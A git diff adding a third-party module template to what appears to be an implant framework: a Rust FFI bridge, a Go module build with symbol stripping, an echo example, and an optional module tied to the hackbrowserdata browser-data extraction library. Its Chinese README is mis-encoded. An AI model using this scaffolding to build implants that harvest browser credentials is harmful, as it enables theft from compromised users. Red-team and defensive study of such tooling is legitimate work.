a/malefic-3rd-template/malefic-3rd-ffi/src/lib.rs b/malefic-3rd-template/malefic-3rd-ffi/src/lib.rs new file mode 100644 index 0000000..1979ec6 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-ffi/src/lib.rs @@ -0,0 +1,170 @@ +//! Shared FFI utilities for malefic 3rd-party language modules. +//! +//! Provides: +//! - [`FfiBuffer`] — RAII guard for foreign-allocated memory +//! - [`ffi_free`] / [`ffi_module_name`] — C memory helpers +//! - [`encode_request`] / [`decode_response`] — protobuf serialization +//! - [`HandlerFn`] / [`ffi_handler_loop`] — bridge for synchronous handlers +//! - Re-exports of [`RtModule`], [`RtChannel`], [`RtResult`] for module implementations + +pub use std::ffi::{c_char, c_int, c_uint, CStr}; + +// ── Runtime re-exports (used by all module wrappers) ──────────────────────── + +pub use malefic_runtime::module_sdk::{RtModule, RtChannel, RtResult, RtChannelError}; +pub use malefic_proto::proto::implantpb::spite::Body; +pub use malefic_proto::proto::modulepb::{Request, Response}; + +// ── libc free ─────────────────────────────────────────────────────────────── + +extern "C" { + fn free(ptr: *mut std::ffi::c_void); +} + +/// Free a pointer allocated by foreign code (C `malloc` / Go `C.CBytes` / etc.). +/// +/// # Safety +/// `ptr` must have been allocated by the C allocator (`malloc`). +pub unsafe fn ffi_free(ptr: *mut c_char) { + free(ptr as *mut std::ffi::c_void); +} + +// ── FfiBuffer ─────────────────────────────────────────────────────────────── + +/// RAII guard for a buffer allocated by foreign code via `malloc`. +/// On drop, calls `free()` to release the memory. +pub struct FfiBuffer { + ptr: *mut c_char, + len: usize, +} + +impl FfiBuffer { + /// # Safety + /// `ptr` must be non-null, valid for `len` bytes, and allocated via `malloc`. + pub unsafe fn new(ptr: *mut c_char, len: usize) -> Self { + Self { ptr, len } + } + + pub fn as_bytes(&self) -> &[u8] { + unsafe { std::slice::from_raw_parts(self.ptr as *const u8, self.len) } + } +} + +impl Drop for FfiBuffer { + fn drop(&mut self) { + if !self.ptr.is_null() { + unsafe { ffi_free(self.ptr) }; + } + } +} + +// ── Module name retrieval ─────────────────────────────────────────────────── + +/// Retrieve a module name string from an FFI `name_fn`. +/// +/// `needs_free`: true for Go (heap-allocated `C.CString`), false for C/Zig/Nim (static). +/// +/// # Safety +/// `name_fn` must return a valid, NUL-terminated C string. +pub unsafe fn ffi_module_name( + name_fn: unsafe extern "C" fn() -> *const c_char, + needs_free: bool, +) -> String { + let ptr = name_fn(); + let name = CStr::from_ptr(ptr).to_string_lossy().into_owned(); + if needs_free { + ffi_free(ptr as *mut c_char); + } + name +} + +// ── Protobuf encode / decode ──────────────────────────────────────────────── + +pub fn encode_request(request: &Request) -> Result, String> { + let mut buf = Vec::new(); + prost::Message::encode(request, &mut buf) + .map_err(|e| format!("encode error: {}", e))?; + Ok(buf) +} + +pub fn decode_response(bytes: &[u8]) -> Result { + prost::Message::decode(bytes) + .map_err(|e| format!("decode error: {}", e)) +} + +// ── Synchronous FFI handler bridge ────────────────────────────────────────── + +/// Signature shared by all synchronous FFI handlers (C / Zig / Nim). +pub type HandlerFn = unsafe extern "C" fn( + c_uint, *const c_char, c_int, *mut *mut c_char, *mut c_int, +) -> c_int; + +/// Bridge a synchronous `HandlerFn` into the `RtModule::run(channel)` protocol. +/// +/// Buffers the previous result and sends it as an intermediate message when the +/// next request arrives. The final result is returned as `RtResult::Done`. +pub fn ffi_handler_loop( + id: u32, + channel: &RtChannel, + handler: HandlerFn, + handler_name: &str, +) -> RtResult { + let mut last_response: Option = None; + + loop { + let body = match channel.recv() { + Ok(b) => b, + Err(RtChannelError::Eof) => break, + Err(e) => return RtResult::Error(format!("{}: recv: {}", handler_name, e)), + }; + + let request = match body { + Body::Request(req) => req, + _ => break, + }; + + if let Some(prev) = last_response.take() { + if channel.send(prev).is_err() { break; } + } + + let req_buf = match encode_request(&request) { + Ok(b) => b, + Err(e) => return RtResult::Error(format!("{}: {}", handler_name, e)), + }; + + let mut resp_ptr: *mut c_char = std::ptr::null_mut(); + let mut resp_len: c_int = 0; + + let rc = unsafe { + handler( + id as c_uint, + req_buf.as_ptr() as *const c_char, + req_buf.len() as c_int, + &mut resp_ptr, + &mut resp_len, + ) + }; + + if rc != 0 { + return RtResult::Error(format!("{} failed (task {}, rc={})", handler_name, id, rc)); + } + + let response = if !resp_ptr.is_null() && resp_len > 0 { + let buf = unsafe { FfiBuffer::new(resp_ptr, resp_len as usize) }; + match decode_response(buf.as_bytes()) { + Ok(r) => r, + Err(e) => return RtResult::Error(format!("{}: {}", handler_name, e)), + } + } else { + if !resp_ptr.is_null() { unsafe { ffi_free(resp_ptr) }; } + Response::default() + }; + + last_response = Some(Body::Response(response)); + } + + match last_response { + Some(body) => RtResult::Done(body), + None => RtResult::Error(format!("module {} produced no output", handler_name)), + } +} diff --git a/malefic-3rd-template/malefic-3rd-go/Cargo.toml b/malefic-3rd-template/malefic-3rd-go/Cargo.toml new file mode 100644 index 0000000..a3083ef --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "malefic-3rd-go" +version = "0.1.0" +edition = "2021" + +build = "build.rs" + +[lib] +name = "malefic_3rd_go" +path = "src/lib.rs" + +[features] +default = ["go_example"] +go_example = [] +go_hackbrowser = [] + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } diff --git a/malefic-3rd-template/malefic-3rd-go/README.md b/malefic-3rd-template/malefic-3rd-go/README.md new file mode 100644 index 0000000..d9856ef --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/README.md @@ -0,0 +1,123 @@ +# malefic-3rd-go + +Go 语言模å—,通过 cgo `c-archive` ç¼–è¯‘ä¸ºé™æ€åº“åŽé“¾æŽ¥åˆ° Rust。支æŒç®€å•请求-å“应和åŒå‘æµå¼ä¸¤ç§æ¨¡å¼ã€‚ + +## å‰ç½®è¦æ±‚ + +- Go 1.21+ +- `CGO_ENABLED=1`(build.rs 自动设置) + +## 目录结构 + +``` +malefic-3rd-go/ +├── Cargo.toml +├── build.rs # go build -buildmode=c-archive +└── src/ + ├── lib.rs # Rust ä¾§ FFI 桥接 + æµå¼ run() + └── go/ + ├── go.mod + ├── main.go # FFI 导出 + session ç®¡ç† + ├── malefic/ + │ ├── module.go # GoModule / GoModuleHandler æŽ¥å£ + │ ├── module.proto + │ └── module.pb.go # protobuf 生æˆä»£ç  + └── example/ + └── example.go # ç¤ºä¾‹æ¨¡å— +``` + +## æž¶æž„ + +Rust å’Œ Go 之间通过åŒå‘æµå¼ FFI 通信: + +``` +Rust async Go goroutine +───────── ───────────── +Input channel ──GoModuleSend()──→ input chan + ↓ + module.Run() + ↓ +recv thread â†â”€GoModuleRecv()─── output chan + ↓ +futures::select! ──→ Output/return +``` + +## ä¸¤å±‚æŽ¥å£ + +```go +// GoModuleHandler — ç®€å•æ¨¡å—,无需接触 channel +type GoModuleHandler interface { + Name() string + Handle(taskId uint32, req *Request) (*Response, error) +} + +// GoModule — 底层æµå¼æŽ¥å£ï¼Œæ”¯æŒå¤šå“应/长任务 +type GoModule interface { + Name() string + Run(taskId uint32, input <-chan *Request, output chan<- *Response) +} +``` + +`malefic.AsModule(handler)` å¯å°† `GoModuleHandler` 包装为 `GoModule`。 + +## ç¼–å†™æ¨¡å— + +### ç®€å•æ¨¡å—(GoModuleHandler) + +```go +package yourmod + +import "malefic-3rd-go/malefic" + +type Module struct{} + +func (m *Module) Name() string { return "your_module" } + +func (m *Module) Handle(taskId uint32, req *malefic.Request) (*malefic.Response, error) { + return &malefic.Response{ + Output: "hello, input: " + req.Input, + }, nil +} +``` + +### æµå¼æ¨¡å—(GoModule) + +```go +package yourmod + +import "malefic-3rd-go/malefic" + +type Module struct{} + +func (m *Module) Name() string { return "your_module" } + +func (m *Module) Run(taskId uint32, input <-chan *malefic.Request, output chan<- *malefic.Response) { + for req := range input { + // å¯ä»¥å‘é€å¤šä¸ªå“应 + output <- &malefic.Response{Output: "processing: " + req.Input} + } +} +``` + +### æ³¨å†Œæ¨¡å— + +编辑 `main.go` 中的 `module` å˜é‡ï¼š + +```go +var module malefic.GoModule = malefic.AsModule(&yourmod.Module{}) // ç®€å•æ¨¡å— +var module malefic.GoModule = &yourmod.Module{} // æµå¼æ¨¡å— +``` + +## 添加 Go ä¾èµ– + +```bash +cd malefic-3rd-go/src/go +go get github.com/some/package +``` + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,golang_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-go/build.rs b/malefic-3rd-template/malefic-3rd-go/build.rs new file mode 100644 index 0000000..fa7cb23 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/build.rs @@ -0,0 +1,65 @@ +use std::env; +use std::path::PathBuf; +use std::process::Command; + +fn build_go(go_src_dir: &PathBuf, archive_path: &PathBuf) { + // Standard Go c-archive: fully self-contained static library + let status = Command::new("go") + .current_dir(go_src_dir) + .env("CGO_ENABLED", "1") + .arg("build") + .arg("-buildmode=c-archive") + .arg("-ldflags=-s -w") + .arg("-trimpath") + .arg("-gcflags=-B") + .arg("-o") + .arg(archive_path) + .arg(".") + .status() + .expect("Failed to execute `go build`. Is Go installed and in PATH?"); + + if !status.success() { + panic!("go build -buildmode=c-archive failed"); + } +} + +fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let go_module_dir = if cfg!(feature = "go_hackbrowser") { + "hackbrowser" + } else { + "example" + }; + let go_src_dir = manifest_dir.join("src").join("go").join(go_module_dir); + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + let lib_name = "malefic_go"; + let archive_path = out_dir.join(format!("lib{}.a", lib_name)); + + build_go(&go_src_dir, &archive_path); + + println!("cargo:rustc-link-search=native={}", out_dir.display()); + println!("cargo:rustc-link-lib=static={}", lib_name); + + // Go runtime needs platform libs + let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap_or_default(); + match target_os.as_str() { + "windows" => { + for lib in &["ws2_32", "winmm", "ntdll", "userenv", "bcrypt"] { + println!("cargo:rustc-link-lib=dylib={}", lib); + } + } + "linux" => { + for lib in &["pthread", "dl", "m"] { + println!("cargo:rustc-link-lib=dylib={}", lib); + } + } + "macos" => { + println!("cargo:rustc-link-lib=framework=CoreFoundation"); + println!("cargo:rustc-link-lib=framework=Security"); + println!("cargo:rustc-link-lib=dylib=pthread"); + } + _ => {} + } + + println!("cargo:rerun-if-changed={}", go_src_dir.display()); +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/example/go.mod b/malefic-3rd-template/malefic-3rd-go/src/go/example/go.mod new file mode 100644 index 0000000..2ac2f2b --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/example/go.mod @@ -0,0 +1,12 @@ +module malefic-example + +go 1.23.1 + +require malefic-core v0.0.0 + +require ( + github.com/aperturerobotics/json-iterator-lite v1.0.0 // indirect + github.com/aperturerobotics/protobuf-go-lite v0.12.1 // indirect +) + +replace malefic-core => ../malefic diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/example/go.sum b/malefic-3rd-template/malefic-3rd-go/src/go/example/go.sum new file mode 100644 index 0000000..c5012b8 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/example/go.sum @@ -0,0 +1,14 @@ +github.com/aperturerobotics/json-iterator-lite v1.0.0 h1:cihbrYWoK/S2RYXhJLpDZd+GUjVvFJN+D3w1VOqqHRI= +github.com/aperturerobotics/json-iterator-lite v1.0.0/go.mod h1:snaApCEDtrHHP6UWSLKiYNOZU9A5NyzccKenx9oZEzg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1 h1:o9of87F/LFS2p5xfq32CrU99dvfqIAalTP7ZzoZK6Kg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1/go.mod h1:lGH3s5ArCTXKI4wJdlNpaybUtwSjfAG0vdWjxOfMcF8= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/example/main.go b/malefic-3rd-template/malefic-3rd-go/src/go/example/main.go new file mode 100644 index 0000000..91bb2b6 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/example/main.go @@ -0,0 +1,52 @@ +package main + +/* +#include +*/ +import "C" +import ( + malefic "malefic-core" + "unsafe" +) + +func init() { + malefic.RegisterModule(malefic.AsModule(&handler{})) +} + +type handler struct{} + +func (h *handler) Name() string { return "example_go" } + +func (h *handler) Handle(taskId uint32, req *malefic.Request) (*malefic.Response, error) { + return &malefic.Response{ + Output: "hello from golang module, input: " + req.Input, + }, nil +} + +//export GoModuleName +func GoModuleName() *C.char { + return C.CString(malefic.GetModule().Name()) +} + +//export GoModuleSend +func GoModuleSend(taskId C.uint, data *C.char, dataLen C.int) C.int { + return C.int(malefic.BridgeSend(uint32(taskId), C.GoBytes(unsafe.Pointer(data), dataLen))) +} + +//export GoModuleRecv +func GoModuleRecv(taskId C.uint, outLen *C.int, status *C.int) *C.char { + out, st := malefic.BridgeRecv(uint32(taskId)) + *status = C.int(st) + if out == nil { + return nil + } + *outLen = C.int(len(out)) + return (*C.char)(C.CBytes(out)) +} + +//export GoModuleCloseInput +func GoModuleCloseInput(taskId C.uint) { + malefic.CloseSessionInput(uint32(taskId)) +} + +func main() {} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.mod b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.mod new file mode 100644 index 0000000..829142c --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.mod @@ -0,0 +1,40 @@ +module malefic-hackbrowser + +go 1.23.1 + +require ( + github.com/moond4rk/hackbrowserdata v0.4.6 + malefic-core v0.0.0 +) + +require ( + github.com/aperturerobotics/json-iterator-lite v1.0.0 // indirect + github.com/aperturerobotics/protobuf-go-lite v0.12.1 // indirect + github.com/dustin/go-humanize v1.0.1 // indirect + github.com/gocarina/gocsv v0.0.0-20231116093920-b87c2d0e983a // indirect + github.com/godbus/dbus/v5 v5.1.0 // indirect + github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/ncruces/go-strftime v0.1.9 // indirect + github.com/otiai10/copy v1.14.0 // indirect + github.com/ppacher/go-dbus-keyring v1.0.1 // indirect + github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect + github.com/syndtr/goleveldb v1.0.0 // indirect + github.com/tidwall/gjson v1.17.1 // indirect + github.com/tidwall/match v1.1.1 // indirect + github.com/tidwall/pretty v1.2.0 // indirect + golang.org/x/sync v0.3.0 // indirect + golang.org/x/sys v0.19.0 // indirect + golang.org/x/text v0.14.0 // indirect + modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect + modernc.org/libc v1.52.1 // indirect + modernc.org/mathutil v1.6.0 // indirect + modernc.org/memory v1.8.0 // indirect + modernc.org/sqlite v1.30.1 // indirect + modernc.org/strutil v1.2.0 // indirect + modernc.org/token v1.1.0 // indirect +) + +replace malefic-core => ../malefic diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.sum b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.sum new file mode 100644 index 0000000..d5004ce --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.sum @@ -0,0 +1,111 @@ +github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU= +github.com/DATA-DOG/go-sqlmock v1.5.2/go.mod h1:88MAG/4G7SMwSE3CeA0ZKzrT5CiOU3OJ+JlNzwDqpNU= +github.com/aperturerobotics/json-iterator-lite v1.0.0 h1:cihbrYWoK/S2RYXhJLpDZd+GUjVvFJN+D3w1VOqqHRI= +github.com/aperturerobotics/json-iterator-lite v1.0.0/go.mod h1:snaApCEDtrHHP6UWSLKiYNOZU9A5NyzccKenx9oZEzg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1 h1:o9of87F/LFS2p5xfq32CrU99dvfqIAalTP7ZzoZK6Kg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1/go.mod h1:lGH3s5ArCTXKI4wJdlNpaybUtwSjfAG0vdWjxOfMcF8= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/gocarina/gocsv v0.0.0-20231116093920-b87c2d0e983a h1:RYfmiM0zluBJOiPDJseKLEN4BapJ42uSi9SZBQ2YyiA= +github.com/gocarina/gocsv v0.0.0-20231116093920-b87c2d0e983a/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI= +github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk= +github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db h1:woRePGFeVFfLKN/pOkfl+p/TAqKOfFu+7KPlMVpok/w= +github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo= +github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd/go.mod h1:kf6iHlnVGwgKolg33glAes7Yg/8iWP8ukqeldJSO7jw= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= +github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= +github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= +github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/moond4rk/hackbrowserdata v0.4.6 h1:3gP8O0p8Nh1r4TIYCRLsn8sAV+WLOVtxoF3evh5E1bM= +github.com/moond4rk/hackbrowserdata v0.4.6/go.mod h1:iEVr4LPCfWgP7lieJFvHil/grmmh4uYyG3ZWdRt3r/c= +github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= +github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= +github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= +github.com/onsi/ginkgo v1.7.0 h1:WSHQ+IS43OoUrWtD1/bbclrwK8TTH5hzp+umCiuxHgs= +github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= +github.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU= +github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= +github.com/otiai10/copy v1.14.0 h1:dCI/t1iTdYGtkvCuBG2BgR6KZa83PTclw4U5n2wAllU= +github.com/otiai10/copy v1.14.0/go.mod h1:ECfuL02W+/FkTWZWgQqXPWZgW9oeKCSQ5qVfSc4qc4w= +github.com/otiai10/mint v1.5.1 h1:XaPLeE+9vGbuyEHem1JNk3bYc7KKqyI/na0/mLd/Kks= +github.com/otiai10/mint v1.5.1/go.mod h1:MJm72SBthJjz8qhefc4z1PYEieWmy8Bku7CjcAqyUSM= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0= +github.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE= +github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ= +github.com/tidwall/gjson v1.17.1 h1:wlYEnwqAHgzmhNUFfw7Xalt2JzQvsMx2Se4PcoFCT/U= +github.com/tidwall/gjson v1.17.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= +github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= +github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= +github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs= +github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= +golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic= +golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/net v0.0.0-20180906233101-161cd47e91fd h1:nTDtHvHSdCn1m6ITfMRqtOd/9+7a3s8RBNOZ3eYZzJA= +golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o= +golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw= +golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4= +gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= +gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +modernc.org/cc/v4 v4.21.2 h1:dycHFB/jDc3IyacKipCNSDrjIC0Lm1hyoWOZTRR20Lk= +modernc.org/cc/v4 v4.21.2/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ= +modernc.org/ccgo/v4 v4.17.10 h1:6wrtRozgrhCxieCeJh85QsxkX/2FFrT9hdaWPlbn4Zo= +modernc.org/ccgo/v4 v4.17.10/go.mod h1:0NBHgsqTTpm9cA5z2ccErvGZmtntSM9qD2kFAs6pjXM= +modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE= +modernc.org/fileutil v1.3.0/go.mod h1:XatxS8fZi3pS8/hKG2GH/ArUogfxjpEKs3Ku3aK4JyQ= +modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw= +modernc.org/gc/v2 v2.4.1/go.mod 